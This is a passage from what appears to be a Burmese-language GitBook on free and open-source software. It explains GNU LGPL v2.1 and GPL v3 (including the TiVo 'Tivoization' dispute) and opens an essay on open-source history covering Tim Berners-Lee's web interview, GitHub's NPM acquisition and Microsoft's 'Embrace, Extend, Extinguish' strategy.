ဖေဖဝါရီလ ၁၉၉၉ ခုနှစ်မှာတော့ GNU LGPL v2.1 ကို Lesser General Public License အနေနဲ့ GNU GPL v2 ကနေ ခွဲထွက်လာတဲ့ version တစ်ခုလည်း ဖြစ်ပါတယ်။ v2.1 မှာတော့ Lesser ဆိုတဲ့ အဓိပ္ပာယ်အတိုင်း license ရဲ့ တင်းကျပ်မှု ကိုနည်းနည်းလျှော့ပေး လိုက်တဲ့သဘောပါ။ အထက်မှာရှင်းပြခဲ့သလို LGPL ရဲ့ အစမှာ C Library အတွက် ၁၉၉၁မှာ သီးသန့် အနေနဲ့ထုတ် ခဲ့တာပါ။ ၁၉၉၉ ခုနှစ်ရောက်မှ လိုအပ်ချက်အရ v2.1 အနေနဲ့ခွဲထွက် version ထွက်လာရတာပါ။ အားလုံးကို အခမဲ့နဲ့သာ ဖြစ်သင့်တယ်လို့ဆိုတာတဲ့ Copyleft လို အစွန်းလည်း မရောက်ရအောင်၊ ပြီးတော့ GPL လောက်မတင်းကျပ်တဲ့ BSD တို့ MIT တို့လို license မျိုးဖြစ်အောင် ဒီ version ကဖြေရှင်း ပေးတဲ့ သဘောပါ။ LGPL v2.1 ကို C Library လို software libraries တွေမှာသုံးတာ များပါတယ်။ ဘယ်လိုနေရာမှာ ဖြေလျှော့ပေးထား လဲလို့ဆိုရင် ဒီ license အမျိုးအစားက proprietary လို့ခေါ်တဲ့ ကုမ္ပဏီတစ်ခုနာမည် သို့မဟုတ် ပုဂ္ဂိုလ်တစ်ဦး နာမည်အောက်မှာ register လုပ်ထားတဲ့ တခြား software ရဲ့ source code တွေနဲ့ပေါင်းပြီး သုံးခွင့်ပြုပါတယ်။ Lesser ဆိုတဲ့ အတိုင်း software တစ်ခုလုံးကို Free Software တို့လို လွတ်လပ်ခွင့် လုံးလုံးလျားလျား မရနိုင်တော့တဲ့ သဘောမျိုးပါ။ ပြောချင်တာကတော့ software တစ်ခုရဲ့ LGPL v2.1 အောက်မှာ ထုတ်ထားတဲ့ အပိုင်းကိုသာ ပြင်ဆင်ခွင့်ရှိပြီးတော့ proprietary အပိုင်းကတော့ ၎င်းကို ပိုင်တဲ့ ပုဂ္ဂိုလ်သို့မဟုတ် ကုမ္ပဏီကသာဆုံးဖြတ်ခွင့်ရမှာဖြစ်ပါတယ်။ နည်းနည်းတော့လည်း မျက်စိလည် ချင်စရာကြီးပါ။ GNU GPL version တိုင်းက ခပ်တိုတိုနဲ့ လိုရင်းကိုသာ ထည့်ထားတဲ့ အတွက် ဟာကွက်ဆိုတာမျိုးကလည်းရှိနိုင်သလို အဓိပ္ပာယ် နှစ်ခုထွက်နိုင်တဲ့ ဟာမျိုးတွေလည်းပါလာနိုင်တယ် ဆိုတာကတော့ မလွှဲမသွေပါပဲ။ GNU LGPL v2.1 ကို အင်္ဂလိပ်လို အသေးစိတ်ဖတ် လိုတယ်ဆိုရင်တော့ ဒီ [link](https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html) ကတဆင့်သွားပြီးဖတ်ကြည့်လို့ ရပါတယ်။ GNU GPL v2 နဲ့GNU LGPL v2.1 တွေကိုနောက်ပိုင်း အသုံးပြုသူအနေနဲ့ နောက်ပိုင်း version တွေကို ပြောင်းချင်ရင်လည်း ပြောင်းလို့ရအောင် လုပ်ပေးထားတဲ့ အချက်တွေကို ထည့်သွင်းပေးထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8e71d30435344c79fb22f681c53b14775f7c821d%2FRichard_Matthew_Stallman21.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

## GNU GPL v3

GNU GPL v3 ကိုတော့ ၂၉ရက်နေ့ ဇွန်လ ၂၀၀၇ ခုနှစ်မှ အထပ်ထပ် ပြန်လည်ပြင်ဆင် ပြီးတော့ အပြီးသတ်နိုင် ခဲ့ပါတယ်။ v3 ကို Richard Stallman ကဘာလို့ထပ်မံ ပြင်ဆင်ပြောင်းထုတ် ရလဲဆိုတော့ TiVo ဆိုတဲ့ cable TV ကုမ္ပဏီတစ်ခုက Linux Kernel နဲ့GNU software တွေကို သူ့ product မှာယူသုံးပါတယ်။ အဲ့ဒီတုန်းကတော့ GPL v2 အောက်မှာ ထုတ်လိုက်တာဖြစ်တဲ့ အတွက် TiVo ကလို သလိုပြင်ဆင် ပြီးတော့ ပြင်ဆင်ထားပြီး source code ကို license ရဲ့လိုအပ်ချက် အရ public ကိုပြန်ထုတ်ပေးရပါတယ်။ ပြန်ထုတ်ပေးတဲ့အခါမှာ TiVo က kernel နဲ့ software ကိုသာထုတ်ပေးပြီး TiVo ရဲ့ hardware driver တွေကို မထုတ်ပေးခဲ့ပါဘူး။ digital signature ဆိုတဲ့ hardware လုံခြုံရေးစနစ် တစ်ခုကိုလည်းသုံးပြီး driver တွေရဲ့ source code တွေကိုလည်း ပိတ်ထားလိုက်ပါတယ်။ အဲ့ဒီတော့ နောက်လူတွေက TiVo ရဲ့ software တွေရဲ့ source code ကိုမြင်နိုင် ပြင်နိုင်ပြီး ပြင်ပြီးသား software တွေကို TiVo ရဲ့ hardware တွေမှာ ပြန်သုံးလို့မရပါဘူး။ တခြား third party hardware တွေမှာသာသုံး လို့ပဲရပါတယ်။ TiVo က hardware ကို ထုတ်တဲ့အတွက် သူ့ hardware ကို Digital Right Management အလိုအရ ကာကွယ်လို့ ရတယ်လို့ဆိုပါတယ်။ အဲ့ဒါကို Richard Stallman ကလက်မခံပါဘူး။ ကန့်ကွက်ဆန့်ကျင် ပြီးတော့ TiVo နဲ့ထိပ်တိုက်တွေ့ ခဲ့ပါတယ်။ Richard Stallman ကတော့ ထုံးစံအတိုင်း အဲ့ဒီဆန့်ကျင်ပွဲကို Tivoization လို့နာမည်ပေးပြီး GPL v3 ထုတ်ဖို့ကို အားချင်းကြံဆောင် တော့တာပါပဲ။ Linux kernel ကိုရေးတဲ့ Linus Torvalds ကတော့ TiVo ရဲ့လုပ်ရပ်ဟာ မမှားဘူး။ TiVo ကထုတ်တဲ့ TiVo ရဲ့ hardware ကို TiVo ကကာကွယ်ပိုင်ခွင့် ရှိတယ်လို့ ဆိုပါတယ်။ kernel နဲ့ software ကိုပဲ GPL v2 အောက်မှာထားသင့် တယ်လို့လည်းသူကဆိုပါတယ်။ တခြား Linux kernel ရဲ့ developer တွေနဲ့ open source သမားတွေကလည်း Tivoization ကိုထောက်ခံတဲ့သူနဲ့ မထောက်ခံတဲ့သူဆိုပြီး အဖွဲ့တွေကွဲကုန်ပါလေရော။ အဲ့ဒါကို Linus Torvalds ကထောက်ပြပါတယ်။ Tivoization က open source နဲ့Linux ကမ္ဘာကို နှစ်ဖွဲ့သာကွဲစေပြီး အကျိုးအမြတ်မရှိ ကြောင်းကိုလည်း ထုတ်ဖော်ပြောကြားပါတယ်။ အဲ့ဒါကြောင့်လည်း Linus Torvalds ကသူ့ရဲ့ Linux kernel ကို GPL v2 အောက်မှာပဲ ဆက်ပြီးတော့ register လုပ်ထားပါတယ်။ GPL v3 ကိုလိုက်မပြောင်းပါဘူး။ နောက်ဆုံးတော့ TiVo က Linux Kernel နဲ့GNU software တွေကို GPL ရဲ့လိုအပ်ချက်တွေ ကို မလိုက်နာနိုင်တာကြောင့် ဆက်ပြီး မသုံးတော့ပါဘူး။ သူတို့စီးပွားရေးလုပ်ငန်းမှာ ဘယ်လိုမှ အမြတ်အစွန်းရ နိုင်တော့မှာ မဟုတ်ဘူးလို့လည်း TiVo ကဆိုပါတယ်။ အဲ့ဒီတော့ GPL v3 က Tivoization လိုမျိုး ထပ်မဖြစ်အောင်လို့ ထပ်ဖြည့်ထပ်ပြင်ပြီးတော့ version ကို upgrade လုပ်လိုက်ရတယ်လို့ အကျဉ်းချုပ်ရတော့မှာပါ။ GNU GPL v3 ကို အင်္ဂလိပ်လို အသေးစိတ်ဖတ်လို လေ့လာလိုတယ်ဆိုတော့ ဒီ [link](https://www.gnu.org/licenses/gpl-3.0-standalone.html) ကနေတဆင့် ဖတ်လို့ရပါတယ်။ GNU GPL v3 က open source software တော်တော်များများ အတွက် လိုက်လျှောညီထွေမူရှိစေခဲ့ပါတယ်။ ဥပမာပြောရရင်တော့ Apache License, version 2 တို့GNU Affero GPL တို့license မျိုးအတွက် အတော်လေးအဆင်ပြေခဲ့ပါတယ်။ GPL v2 တုန်းကတော့ အဲ့ဒီ license တွေနဲ့ အတူသုံးဖို့ရာ လိုအပ်တွေရှိနေခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-88be130320fd3d85cd4cebfbcb2da412bdd32036%2Ftivo-preview.jpg?alt=media" alt=""><figcaption></figcaption></figure>

GNU General Public License အကြောင်း ကတော့ ဒီလောက်ဆိုရင်တော့ သိသင့်သလောက် သိပြီးလေ့လာလိုက် ကြရမယ်လို့ မျှော်လင့်ရပါတယ်။ အကြောင်းအရာကိုက နည်းနည်းလေးတဲ့အတွက် ဖတ်ရင်းနဲ့ နည်းနည်းတော့ပျင်းရတယ် ထင်ပေမယ့်လည်း ဖတ်ပြီးရင် Linux မှာပြောပြောနေတဲ့ GNU GPL ဆိုတာဘာလဲ ဘယ်လိုသုံးရသလဲ ဆိုတာကိုတော့ လေ့လာခွင့်ရတဲ့အတွက် အရှုံးရှိမယ်တော့ မထင်ပါဘူး။ version တစ်ခုစီမှာ ပေးထားတဲ့ link လေးတွေကနေ တဆင့် လည်း အင်္ဂလိပ်လို လိုက်ဖတ်ကြည့်သင့်ပါတယ်။ Microsoft ရဲ့ End User Agreement တွေလောက်လည်း မရှည်သလို အရမ်းလည်း မရှုပ်ဘူးလို့ စာရေးသူထင်ပါတယ်။ လိုရင်းတိုရှင်းကိုသာ ထည့်သွင်း ထားတဲ့အတွက် အချိန်နည်းနည်းပေးဖို့ပဲလိုပါတယ်။ နောက်ပိုင်း ကိုယ်ပိုင် software လေးတွေကို GNU GPL အောက်မှာ ထုတ်ချင်တယ် ဆိုရင်လည်း သုံးလို့ရတာပေါ့။ ဒီ GNU GPL post ကိုတော့ဒီမှာပဲ ရပ်လိုက်ပါတော့မယ်။


# Open Source ကောက်ကြောင်း – အပိုင်း(၁)

အခုနောက်ပိုင်းမှာ open source software အကြောင်း လူတွေအပြောများလာကြပါတယ်။ Buzzword တစ်ခုလိုမျိုး တစ်ခုခုဆိုရင် open source မှ၊ open ဖြစ်မှဆိုပြီးတော့ ပြောကြဆိုကြလာတာကို အကြားများလာလို့ စာရေးသူလည်း open source ဆိုတာ ဘယ်ကနေ ဘယ်လိုမျိုး စလာရသလဲ။ အခုနောက်ပိုင်းမှ လူပြောများလာတာလာ သို့မဟုတ် philosophical idea အသစ် များလာဆိုပြီးတော့ ရှာဖွေဖတ်ရှုလေ့လာ ဖြစ်ပါတယ်။ Software development မှာတော့ open source ဆိုတဲ့ အသုံးအနှုံး အစိမ်းသပ်သပ်တော့ မဟုတ်ပါ။ Linux platform တစ်ခုလုံးက open source ဆိုတဲ့ အုတ်မြစ်ပေါ်မှာ တည်ဆောက်ထားတာဖြစ်လို့ စာရေးသူတို့ အတွက်တော့ သိပ်ပြီးတော့ ခက်ခက်ခဲခဲ နဲ့ နားလည်ဖို့ မရှိပါဘူး။ သို့သော် Linux ကိုလည်းမသိဘူး၊ software developer တစ်ယောက်လည်း မဟုတ်ဘူး ဆိုရင်တော့ open source ဆိုတဲ့ ideology ကို နားလည်ဖို့ နည်းနည်းခက်မယ်လို့ စာရေးသူထင်ပါတယ်။ ဘာဖြစ်လို့လည်းဆိုတော့ ဟိုအရင် တချိန်တုန်းကလည်း စာရေးသူ အဲ့ဒီလို နေရာမျိုးနေလာခဲ့ရတာဖြစ်တဲ့အတွက် ideology တစ်ခုကို ဘာလို့ အုတ်မြစ်ချဖို့ခက်သလဲဆိုတာ ကောင်းကောင်းနားလည်ပါတယ်။ အထူးသဖြင့် ကိုယ့်အတွက် တိုက်ရိုက် ရိုက်ခက်မှုမျိုး မရှိဘူးဆိုရင် လူ့သဘာဝအရ မဆိုင်လိုပဲနေလိုက် ကြလို့ ဘယ်သူ့ကိုမှလည်း မသိရကောင်းမလားဆိုပြီးတော့ စိတ်ဆိုးစရာမရှိပါဘူး။ တိုတောင်းလွန်းလှတဲ့ လူ့ဘဝမှာ ကိုယ်နဲ့ အာရုံငြီတွယ်ရာကိုတာ တွယ်ကပ်ပြီးတော့ ဘဝမှာတရက်ပြီး တရက်ဖြတ်သန်းရတာမို့ အရာခပ်သိမ်း ကို အလုံးစုံသိကျွမ်းဖို့ဆိုတာတော့ မလွယ်လှပါဘူး။ ကံဆိုတာလူလုပ်သမျှမို့ စာရေးသူတို့ သိဖို့ကျွမ်းဖို့ရာ လေ့လာမှတ်သား ရပါတယ်။ Open source / Free Software ဆိုတာတွေက စာရေးသူ အတွက်တော့ religion တစ်ခု၊ belief system တစ်ခုအနေနဲ့ ကိုယ်တိုင်ခံယူလိုက်သလိုခံစားလိုက်ရတဲ့ ယုံကြည်ရာတစ်ခုလို့ ပြောရင်လည်း အရမ်းကြီးလွန်သွားမယ်လို့ မထင်ပါ။ ကိုယ်လိုလူတွေလည်း အပြင်မှာ အများကြီးရှိလို့ စိတ်ခွန်းအားဖြစ်ရပါတယ်။

### Open source နိဒါန်း

စာရေးသူ မကြာသေးခင်တုန်းက npr ကထုတ်လွှင့်တဲ့ TED RADIO HOUR ဆိုတဲ့ podcast တစ်ခုမှာ ၂၀၁၅ ခုနှစ်က broadcast လုပ်ထားတဲ့ Open Source World ဆိုတဲ့ program တစ်ခုကို အမှတ်မထင်ပဲနဲ့ အလုပ်သွားတဲ့ အချိန်မှာနားထောင်ဖြစ်ခဲ့ပါတယ်။ စတာနဲ့ Sir Tim Berners-Lee စကားပြောနေတာနဲ့ စပါတယ်။ World Wide Web ဆိုတဲ့ www အကြောင်းပါပဲဖြစ်ပါတယ်။ Sir Tim Berners-Lee ဆိုတာဘယ်သူလဲလို့ မသိသေးတဲ့လူတွေအတွက်တော့ သူ့အကြောင်းအနည်းငယ် မိတ်ဆက်ပေးလိုပါတယ်။ သူကတော့ World Wide Web ဆိုတဲ့ နည်းပညာတစ်ခုနဲ့ ကမ္ဘာကြီးနဲ့ ဒီထက်ပိုပြီးတော့ တိုးတက်အောင် စွမ်းဆောင်ပေးခဲ့တဲ့ programmer တစ်ယောက်ပဲ ဖြစ်ပါတယ်။ Podcast ထဲမှာလည်း မရှင်းမှာကြောက်လို့ သေချာ ပြောပြသွားပါတယ်။ World Wide Web ဆိုတာ the Internet နဲ့ မတူပါဘူး။ The Internet ဆိုတာကတော့ computer တွေ server တွေကို အကုန်ုလုံး network တစ်ခုတည်းမှာ ချိတ်ဆက်လို့ ရအောင်လုပ်ပေးတဲ့ နည်းပညာတစ်ခုဖြစ်ပြီးတော့ World Wide Web ဆိုတာကတော့ the Internet ပေါ်မှာ သတင်းအချက်အလတ်တွေကို present လုပ်ဖို့အတွက် လိုအပ်တဲ့ နည်းပညာတစ်ခုဖြစ်ပါတယ်။ စစတုန်းကတော့ static web pages တွေပေါ်မှာ ကိုယ်တင်ချင်တဲ့ အချက်အလတ်တွေကို www မှာတင်ပြီးတော့ information ကို share ကြပါတယ်။ Sir Tim Berners-Lee ပြောပြပုံအရတော့ ၁၉၈၉ ခုနှစ်လောက်တုန်းက လူတွေ ကိုယ် share ချင်တဲ့ အချက်အလက်တွေကို CD-ROM တို့ Floppy တို့ပေါ်မှာ file တွေကို save လုပ်ပြီးတော့ ဒီကနေဟို၊ ဟိုကနေဒီ ပို့ပြီးတော့ မျှဝေရပါတယ်။ အဲ့ဒီတော့ သူစဉ်းစားမိတာ တစ်ခုက အကယ်လို့များ အဲ့ဒီလို share မယ့်အစား click လုပ်လို့ရမယ့် link လေးတွေနဲ့ online documentation တစ်ခုဆိုရင်ဘယ်လောက်ကောင်းလိမ့်မလဲလို့ပါ။ အဲ့ဒါနဲ့ ဒီ World Wide Web ဆိုတာလေးကို စတင်လုပ်ဖြစ်ပါတာလည်း ဖြစ်ပါတယ်။ တကယ့်ကို humble ဖြစ်လွန်းတဲ့ World Wide Web ရဲ့ စပြိုးခဲ့တဲ့ ပုံလေးပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-24b934f0195332291e5945ecc7fa99b0131bb20c%2FSir_Tim_Berners-Lee_cropped.jpg?alt=media" alt=""><figcaption></figcaption></figure>

နောက်တစ်ခုက www လိုပဲ အဲ့ဒီအချိန်က Gopher ဆိုတဲ့ နည်းပညာတစ်ခုလည်း တပြိုင်တည်းဆိုသလို ပေါ်ထွက်လာခဲ့ပါတယ်။ သို့သော် Gopher က proprietary နည်းပညာတစ်ခုပါ။ အဲ့ဒီတော့ US Military လိုကြီးမားတဲ့ organization တွေအတွက် အသုံးပြုဖို့ကို တက်နိုင်ပြီးတော့ general public အတွက်တော့ အလွယ်တကူ ငွေကြေးနဲ့ အသုံးပြုဖို့ဆိုတာ စိတ်ကူးနဲ့တောင် မဖြစ်နိုင်ခဲ့ပါဘူးတဲ့။ ဒါကိုလည်း Sir Tim Berners-Lee က ကောင်းကောင်းသိခဲ့ပုံရပါတယ်။ အဲ့ဒီအတွက် သူက သူရဲ့ ဖန်တီးမှုတစ်ခုဖြစ်တဲ့ www ကို လူတိုင်းအသုံးပြုလို့ရအောင်လို့ ကြိုးပမ်းမူအနေနဲ့ Open Source လုပ်ခဲ့ပါတယ်။ ထိုစဉ်က သူအလုပ်လုပ်တဲ့ တက္ကသိုလ်မှာလည်း အဲ့ဒီလို Open Source လုပ်ဖို့ရာအတွက် သူ့မှာ အများကြီးလုပ်ယူခဲ့ရပါတယ်။ Interviewer က မထင်မှတ်တဲ့ ပညာသားပါပါ မေးခွန်း တစ်ခုကို Interview မှာမေးခဲ့ပါတယ်။ အဲ့ဒါကတော့ သူ့ကိုအဲ့ဒီအချိန်တုန်းကဘာဖြစ်လို့ open source လုပ်ဖို့၊ free ပေးဖို့ အတွက်စဉ်းစားခဲ့တော့၊ အခုလိုမျိုး အရမ်းအောင်မြင် နည်းပညာတစ်ခုဖြစ်လာတဲ့အခါမှာ ငွေကြေးအရအများကြီး ရလာနိုင်တာကိုကောထည့်သွင်း စဉ်းစားဖြစ်လားတဲ့။ Sir Tim Berners-Lee ကတော့ Interviewer ကို အဲ့ဒီလိုတွေးရင် အဲ့ဒီလိုယူဆရင်တော့ မှားသွားမယ်တဲ့။ နည်းပညာတစ်ခုကကောင်းလွန်းလို့ လူသုံးများ လူသိများလာရတာမဟုတ်နိုင်ဘူးတဲ့။ Open source လုပ်ပေးထားလို့ လူတိုင်းသုံးလာ နိုင်ပြီးတော့ လူသုံးများ လူသိများလာရတာလို့ တဖတ်ကနေပြန်ဖြေသွားတာ စာရေးသူဖြင့် စိတ်ထဲမှာ မပြုံးပဲမနေနိုင်အောင်ကို ဖြစ်မိပါတယ်။ တကယ်တန်းပြန်ပြီးတော့ ဆင်ခြင်သုံးသပ်လိုက်တော့ www နဲ့ အပြိုင် Gopher ဆိုတဲ့ဟာကြီး အခုဘယ်နားရောက်သွားသလဲ။ စွမ်းဆောင်နိုင်ရည်တူအုံးတော့ အလွယ်တကူယူသုံးလို့ ရတဲ့ World Wide Web က သူနေရာနဲ့သူ တခန်းရပ်တည်ခဲ့ပါတယ်။ အဲ့ဒီတော့ သူက အကယ်၍များ Gopher လိုမျိုး သူ့ရဲ့ www ကို proprietary လုပ်လိုက်ရင် အခုလောက် လူသုံးများချင်မှများတော့ မှာပေါ့တဲ့ဗျာ။ Open source ရဲ့ အခိုးအငွေ့လေးတစ်ခုကို ဖြတ်ခနဲတွေ့လိုက်ရလို့ စာရေးသူကတော့ ပန်းချီကားတစ်ခုလို လှလွန်းလို့ ဧည့်ခန်းထဲမှာချိတ်ထားသလိုမျိုးပဲ သူ့ရဲ့ အဖြေကို မှန်ဘောင်သွင်းပြီးတော့ တနေရာရာမှာချိတ်ထားချင်မိပါ တယ်။ လှလိုက်တာနော်…

သူ့ရဲ့အဆုံးသတ်ဖြေသွားတာကတော့ အောက်ကအတိုင်း ဖြစ်ပါတယ်။

“And it has to be open. If it hadn’t been open, it would have been a walled garden, and the moment you start a walled garden, people look at it, and they say oh, that looks lucrative. We can do that better. And we would have had all these independent system, and those programs wouldn’t work together. You wouldn’t have been able to follow a link from one to the other. So basically, the Web would never – I don’t think it would have got the critical mass.”\
— Sir Tim Berners-Lee —

တိုက်ရိုက်ဘာသာပြန်ကြည့်မယ်ဆိုရင်တော့…

“အဲ့ဒါကဖွင့်ပေးထားရမှာပါ။ အကယ်လို့များ ဖွင့်မပေးထားခဲ့ဘူးဆိုရင်၊ ချုပ်ချယ်မှုတွေ သတ်မှတ်ချက်တွေ များလွန်တဲ့ restricted information system တစ်ခုသာဖြစ်သွားပြီး (walled garden ကိုဆိုလိုရင်းဖြစ်ပါသည်။) လူတွေကလည်း ကြည့်ပါအုံးကွာငွေကြေးအမြတ်အစွန်းတစ်ခုတည်း အတွက်ကြည့်ပြီးတော့လုပ်တာပါလို့မြင်လာကြမှာပါ။ ကျွန်တော်တို့ ဒီထက်ကောင်းအောင် စွမ်းဆောင်နိုင်ပါတယ်။ ပြီးတော့လည်းလေ… ကျွန်တော်တို့တတွေ အဲ့ဒီမတူတဲ့ system တွေအားလုံး တပြိုင်တည်းမှာ သုံးကြတောင်မှ၊ သူ့တို့ရဲ့ program တစ်ခုနဲ့ တစ်ခုဟာ ပူးတွဲပြီးတော့ အလုပ်လုပ်မှာ မဟုတ်ပါဘူး။ ခင်ဗျားတို့လည်း link တစ်ခုကနေ တစ်ခုကို click လုပ်ပြီးတော့ အခုလိုလုပ်နိုင်တော့မှာမဟုတ်ပါဘူး။ အဲ့ဒီအတွက် အခြေခံအားဖြင့် the Web ဆိုတဲ့ ကွန်ယက်ဟာ (World Wide Web ကိုဆိုလိုခြင်းဖြစ်ပါသည်။) အခုလိုမျိုး လူသုံးများလာမှာမဟုတ်လို့ ကျွန်တော်ထင်ပါတယ်။”\
— Sir Tim Berners-Lee —

အဲ့ဒီ interview နဲ့ သူ့ရဲ့ script ကိုဖတ်ချင်တယ်ဆိုရင်တော့ ဒီ [Link](https://www.npr.org/transcripts/449180060) မှာသွားကြည့်လို့ရပါတယ်။ Sir Tim Berners-Lee ရဲ့ Ted Talk ကိုကြည့်ချင်တယ်ဆိုရင်တော့ ဒီ [Link](https://www.npr.org/2015/10/23/449180060/how-did-the-world-wide-web-start) မှာသွားကြည့်နိုင်ပါတယ်။

ဒီနေရာမှာ မြင်နိုင်တာတစ်ခုက အများအကျိုးအတွက် ကိုယ်ရဲ့ တီထွင်ဖန်တီးမူ တစ်ခုကို လူတိုင်းသုံးနိုင်အောင် open system တစ်ခုအနေနဲ့ လုပ်ဖို့ဆိုတာ အများကြီးထည့်သွင်း စဉ်းစားကြရပါတယ်။ Proprietary မှာဆိုရင်တော့ ရှင်းပါတယ်၊ အမြတ်အစွန်းလိုချင်လို့ နည်းပညာ ထုတ်ကုန်တစ်ခုကို ထုတ်တယ်။ ကိုယ်ဘယ်လိုလုပ်ထားသလဲ ဆိုတာအခြားသူတွေ မမြင်နိုင်အောင် closed source လုပ်တယ်။ ပြီးတော့ ဟိုလူကူး ဒီလူကူး လုပ်လို့မရအောင်လို့ patent တွေတင်တယ်။ copyright တွေလုပ်တယ်ပေါ့လေ။ ရှင်းတယ်ဆိုပေမယ့်လည်း ဥပဒေ အရလုပ်ရတာတွေတော့ အများကြီးရှိပါတယ်။ သို့သော် thought process မှာတော့ရှင်းပါတယ်။ ကိုယ်က open လုပ်မယ်ဆိုရင်တော့ စိတ်ပိုင်းဆိုင်ရာပြင်ဆင်မှုတွေလုပ်ရမှာပါ။ ပြီးတော့လည်း free ဖြစ်လို့ open ဖြစ်လို့၊ အဲ့ဒီအပေါ်မှာအားနည်းချက်ရှာပြီးတော့ ဖျက်လိုဖျက်ဆီးလုပ်မယ့် လူတွေလည်းရှိတာမို့၊ ဥပဒေအရ ကိုယ့်ရဲ့ နည်းပညာထုတ်ကုန်ကို ကာကွယ်ရမလဲ ဆိုတာလည်း ရှင်းရှင်းလင်းလင်းသိဖို့လိုအပ်ပါတယ်။ ငွေရေးကြေးရေး မပါတဲ့အတွက် ကိုယ်ရေရှည်မှာ ဘယ်လို ရပ်တည်သွားနိုင်အောင်လုပ်ရမလဲဆိုတာတွေကိုပါ ထည့်သွင်းစဉ်းစားရမှာပါ။ စာရေးသူအတွက်တော့ open source နဲ့ free software ကို မှော်ဝင်စားနိုင်စွမ်း မရှိပဲနဲ့ အခမဲ့ပေးဖို့ဆိုတာ လက်ရှိ နည်းပညာရဲ့ consumer marketing အတွက် အံဝင်ကွင်ကျဖြစ်ဖို့ဆိုတာကတော့ ဖြစ်နိုင်မယ်မထင်ပါ။ အခုနောက်ပိုင်းမှာတော့ proprietary company တွေဟာလည်း ငါးပွက်ရာ ငါးစာ ချ ဆိုတဲ့အတိုင်း ငွေကြေးတက်နိုင်သည့်အလျှောက် ဟိုလူသုံးများတဲ့ platform ကိုဝယ်လိုက်၊ ဒီ platform လေးကို ဝယ်လိုက်နဲ့ ခြေချင်းကိုလိမ်နေကြပါတယ်။ ဒီလိုနဲ့ပဲ… ဟိုတလောက NPM ကို GitHub ကဝယ်လိုက်တယ်ဆိုတဲ့ သတင်းကောက်ထွက်လာတော့ စာရေးသူ မအံ့ဩတော့ပါ။ Headline တွေမှာတော့ Microsoft ဆိုတဲ့ဟာကို တက်နိုင်သလောက် ရှောင်ပြီးတော့ GitHub က NPM ကိုဝယ်တယ်ဆိုလို့သာ လှည့်ပြီးတော့ ရေးထားတဲ့အတွက် မျက်စိတော့လည်ချင်စရာကြီးပါ။

အချို့လည်း ဒီလို Microsoft ကလိုက်ပြီးတော့ merger လုပ်တာကို ကြိုက်တဲ့သူရှိသလို၊ ဘဝင်မကျတဲ့သူတွေလည်း တဘက်တချက်မှာရှိနေပါတယ်။ စာရေးသူတို့ ကြိုမြင်နိုင်တဲ့ကိစ္စမျိုးမဟုတ်ပေမယ့်လည်း ထင်ကြေးအမျိုးမျိုးပေးပြီးတော့ ကိုယ်ကြိုက်သလို တွေးကြည့်လို့တော့ရနိုင်ပါတယ်။ တချိန်က Microsoft ရဲ့ EEE strategy ကို မလုပ်နိုင်တော့ဘူးလို့ မျှော်လင့်ရပါတယ်။ EEE ဆိုတာကတော့ Embrace, Extend and Extinguish သို့မဟုတ် Exterminate ကို အတိုကောက်လုပ်ထားတာပါ။ အဓိပ္ပာယ်ကတော့ Embrace ဆိုတာ Microsoft က တချိန်က သူနဲ့ ပြိုင်နိုင်ခြေရှိလာနိုင်တဲ့ startup company တော်တော်များကို အချိုသပ်ပြီးတော့ တစ်ခုပြီးတော့တစ်ခုကိုလိုက်ပြီးတော့ လိုက်လံသိမ်းသွင်းခဲ့ပါတယ်။ ပြီးရင်တော့ Extend ဆိုတာကတော့ ကူညီသလိုနဲ့ သူ့ရဲ့ ပြိုင်ဘက်တွေ system မှာ ထည့်သွင်းအသုံးလို့ မရအောင် feature အသစ်တွေကို promote လုပ်၊ နောက်မှ အဲ့ဒီ ပြိုင်ဘက် system တွေနဲ့ တွဲပြီးတော့သုံးလို့မရအောင် လုပ်ပါတယ်။ အဲ့ဒီမှာတင် အရင်က အဆင်ပြေသလိုရှိတဲ့ system တစ်ခုဟာဖြင့် အခုဆိုရင်တော့ အရောင်မျိုးစုံနဲ့ ပြင်လို့မကုန်နိုင်တဲ့ bugs တွေနဲ့ရွာလည်ကုန်ပြီး၊ လူတွေကလည်း ဟာ… ဒါကြီးကအလုပ် မဖြစ်ဘူးဆိုပြီးတော့ စိတ်ကုန်လာတဲ့ အထိဖြစ်ကုန်ပါတယ်။ ဒါဆိုရင်တော့ နောက်ဆုံးအဆင့်မှာတော့… Extinguish သို့မဟုတ် Exterminate ဆိုတာကတော့ သူတို့ မလိုအပ်ပါပဲနဲ့ features တွေ၊ extension တွေထည့်ပြီးတော့ အဆင်မပြေတော့တဲ့ဟာတွေကို တဖန် Microsoft က လူစွမ်းကောင်း ပြန်ဝင်လုပ်ပြီးကာမှ၊ ရော့… ဟောဒီမှာဖြင့် အဆင်ပြေအောင် solution ဆိုပြီးတော့ ပြန်လည်ရောင်းပါတယ်။ သူ့ရဲ့ ပြိုင်ဘက်ကို ဝင်လုံးပြီး သတ်ပစ်လိုက်တဲ့ သဘောပါ။ အဲ့ဒါကြောင့်လည်း… Microsoft ရဲ့ Bill Gates ဟာ antitrust law နဲ့ တရားခွင်မှာ ရင်ဆိုင်ရပါတယ်။ နည်းပညာရဲ့ capitalism ကိုလည်း အဲ့ဒီ အမှုကြီးနဲ့ မေးခွန်းထုတ်စရာဖြစ်လာခဲ့ပါတယ်။ အကြောင်းအမျိုးမျိုးကြောင့် Microsoft ဆက်လက်ရှင်သန်ခွင့်ရခဲ့ပါတယ်။ Bill Gates ကြီးလည်း ကမ္ဘာ့ အချမ်းသာဆုံး လူငယ်တစ်ယောက်ဖြစ်လာခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7367c7efdef94ee5e067ac5d8947ed0a6da03332%2FUS_v._Microsoft_Bill_Gates_Color-1.png?alt=media" alt=""><figcaption></figcaption></figure>

